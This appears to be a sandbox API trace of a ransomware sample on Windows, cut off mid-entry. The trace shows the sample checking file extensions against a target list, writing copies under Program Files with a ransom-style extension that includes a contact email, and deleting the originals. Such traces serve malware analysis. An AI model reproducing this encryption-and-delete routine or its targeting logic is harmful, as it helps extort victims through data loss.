[0066.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0066.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.868] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.868] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.868] lstrlenW (lpString=".doc") returned 4 [0066.868] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.868] lstrlenW (lpString=".docx") returned 5 [0066.868] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0066.868] lstrlenW (lpString=".pdf") returned 4 [0066.868] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.868] lstrlenW (lpString=".xls") returned 4 [0066.868] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.868] lstrlenW (lpString=".xlsx") returned 5 [0066.868] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0066.868] lstrlenW (lpString=".ppt") returned 4 [0066.869] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.869] lstrlenW (lpString=".zip") returned 4 [0066.869] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString=".rar") returned 4 [0066.869] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString=".bz2") returned 4 [0066.869] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString=".7z") returned 3 [0066.869] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.869] lstrlenW (lpString=".dbf") returned 4 [0066.869] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.869] lstrlenW (lpString=".1cd") returned 4 [0066.869] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.869] lstrlenW (lpString=".jpg") returned 4 [0066.869] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.869] lstrlenW (lpString=".doc") returned 4 [0066.869] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.869] lstrlenW (lpString=".docx") returned 5 [0066.869] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0066.869] lstrlenW (lpString=".pdf") returned 4 [0066.870] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString=".xls") returned 4 [0066.870] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString=".xlsx") returned 5 [0066.870] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0066.870] lstrlenW (lpString=".ppt") returned 4 [0066.870] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.870] lstrlenW (lpString=".zip") returned 4 [0066.870] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString=".rar") returned 4 [0066.870] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString=".bz2") returned 4 [0066.870] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString=".7z") returned 3 [0066.870] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.870] lstrlenW (lpString=".dbf") returned 4 [0066.870] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.870] lstrlenW (lpString=".1cd") returned 4 [0066.870] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0066.870] lstrlenW (lpString=".jpg") returned 4 [0066.870] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.871] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.871] lstrlenW (lpString="boxed-join.avi") returned 14 [0066.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.871] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=33280) returned 1 [0066.871] CloseHandle (hObject=0x188) returned 1 [0066.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0066.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.872] lstrlenW (lpString=".doc") returned 4 [0066.872] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString=".docx") returned 5 [0066.872] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0066.872] lstrlenW (lpString=".pdf") returned 4 [0066.872] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString=".xls") returned 4 [0066.872] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString=".xlsx") returned 5 [0066.872] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0066.872] lstrlenW (lpString=".ppt") returned 4 [0066.872] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.872] lstrlenW (lpString=".zip") returned 4 [0066.872] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString=".rar") returned 4 [0066.872] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString=".bz2") returned 4 [0066.872] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString=".7z") returned 3 [0066.872] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.872] lstrlenW (lpString=".dbf") returned 4 [0066.872] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.872] lstrlenW (lpString=".1cd") returned 4 [0066.872] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.873] lstrlenW (lpString=".jpg") returned 4 [0066.873] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.873] lstrlenW (lpString=".doc") returned 4 [0066.873] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString=".docx") returned 5 [0066.873] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0066.873] lstrlenW (lpString=".pdf") returned 4 [0066.873] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString=".xls") returned 4 [0066.873] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString=".xlsx") returned 5 [0066.873] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0066.873] lstrlenW (lpString=".ppt") returned 4 [0066.873] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.873] lstrlenW (lpString=".zip") returned 4 [0066.873] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString=".rar") returned 4 [0066.873] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString=".bz2") returned 4 [0066.873] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.873] lstrlenW (lpString=".7z") returned 3 [0066.873] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.874] lstrlenW (lpString=".dbf") returned 4 [0066.874] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.874] lstrlenW (lpString=".1cd") returned 4 [0066.874] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0066.874] lstrlenW (lpString=".jpg") returned 4 [0066.874] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.874] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.874] lstrlenW (lpString="boxed-split.avi") returned 15 [0066.874] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.874] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=62976) returned 1 [0066.874] CloseHandle (hObject=0x188) returned 1 [0066.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0066.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.875] lstrlenW (lpString=".doc") returned 4 [0066.875] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.875] lstrlenW (lpString=".docx") returned 5 [0066.875] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0066.875] lstrlenW (lpString=".pdf") returned 4 [0066.875] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.875] lstrlenW (lpString=".xls") returned 4 [0066.875] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.875] lstrlenW (lpString=".xlsx") returned 5 [0066.875] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0066.875] lstrlenW (lpString=".ppt") returned 4 [0066.875] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.875] lstrlenW (lpString=".zip") returned 4 [0066.875] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.875] lstrlenW (lpString=".rar") returned 4 [0066.876] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString=".bz2") returned 4 [0066.876] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString=".7z") returned 3 [0066.876] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.876] lstrlenW (lpString=".dbf") returned 4 [0066.876] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.876] lstrlenW (lpString=".1cd") returned 4 [0066.876] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.876] lstrlenW (lpString=".jpg") returned 4 [0066.876] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.876] lstrlenW (lpString=".doc") returned 4 [0066.876] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString=".docx") returned 5 [0066.876] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0066.876] lstrlenW (lpString=".pdf") returned 4 [0066.876] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString=".xls") returned 4 [0066.876] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.876] lstrlenW (lpString=".xlsx") returned 5 [0066.876] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0066.876] lstrlenW (lpString=".ppt") returned 4 [0066.877] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.877] lstrlenW (lpString=".zip") returned 4 [0066.877] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.877] lstrlenW (lpString=".rar") returned 4 [0066.877] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.877] lstrlenW (lpString=".bz2") returned 4 [0066.877] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.877] lstrlenW (lpString=".7z") returned 3 [0066.877] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.877] lstrlenW (lpString=".dbf") returned 4 [0066.877] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0066.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.877] lstrlenW (lpString=".1cd") returned 4 [0066.877] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0066.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0066.877] lstrlenW (lpString=".jpg") returned 4 [0066.877] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0066.877] lstrcmpiW (lpString1=".avi", lpString2=".2020") returned 1 [0066.877] lstrlenW (lpString="correct.avi") returned 11 [0066.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0066.878] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=197120) returned 1 [0066.878] CloseHandle (hObject=0x188) returned 1 [0066.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0066.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0066.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0066.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0066.878] lstrlenW (lpString=".doc") returned 4 [0066.878] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0066.878] lstrlenW (lpString=".docx") returned 5 [0066.878] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0066.878] lstrlenW (lpString=".pdf") returned 4 [0066.879] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0066.879] lstrlenW (lpString=".xls") returned 4 [0066.879] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0066.879] lstrlenW (lpString=".xlsx") returned 5 [0066.879] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0066.879] lstrlenW (lpString=".ppt") returned 4 [0066.879] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0066.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0066.879] lstrlenW (lpString=".zip") returned 4 [0066.879] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0066.879] lstrlenW (lpString=".rar") returned 4 [0066.879] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0066.879] lstrlenW (lpString=".bz2") returned 4 [0066.879] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0066.879] lstrlenW (lpString=".7z") returned 3 [0066.879] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0066.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0066.879] lstrlenW (lpString=".dbf") returned 4 [0066.879] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0069.726] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.726] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0069.727] GetLastError () returned 0x0 [0069.727] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x545, lpOverlapped=0x0) returned 1 [0069.728] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x550, lpOverlapped=0x0) returned 1 [0069.729] ReadFile (in: hFile=0x1d8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0069.730] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xee, lpOverlapped=0x0) returned 1 [0069.730] SetEndOfFile (hFile=0x1e0) returned 1 [0069.730] CloseHandle (hObject=0x1e0) returned 1 [0069.731] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0069.731] SetEndOfFile (hFile=0x1d8) returned 1 [0069.732] CloseHandle (hObject=0x1d8) returned 1 [0069.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0069.732] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 1 [0069.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.733] lstrlenW (lpString=".doc") returned 4 [0069.733] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString=".docx") returned 5 [0069.733] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0069.733] lstrlenW (lpString=".pdf") returned 4 [0069.733] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString=".xls") returned 4 [0069.733] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString=".xlsx") returned 5 [0069.733] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0069.733] lstrlenW (lpString=".ppt") returned 4 [0069.733] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.733] lstrlenW (lpString=".zip") returned 4 [0069.733] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0069.733] lstrlenW (lpString=".rar") returned 4 [0069.733] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString=".bz2") returned 4 [0069.733] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString=".7z") returned 3 [0069.733] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0069.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.733] lstrlenW (lpString=".dbf") returned 4 [0069.733] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.733] lstrlenW (lpString=".1cd") returned 4 [0069.733] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0069.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.733] lstrlenW (lpString=".jpg") returned 4 [0069.733] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML") returned 106 [0069.734] lstrlenW (lpString=".doc") returned 4 [0069.734] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString=".docx") returned 5 [0069.734] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0069.734] lstrlenW (lpString=".pdf") returned 4 [0069.734] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString=".xls") returned 4 [0069.734] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString=".xlsx") returned 5 [0069.734] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0069.734] lstrlenW (lpString=".ppt") returned 4 [0069.734] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0069.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup 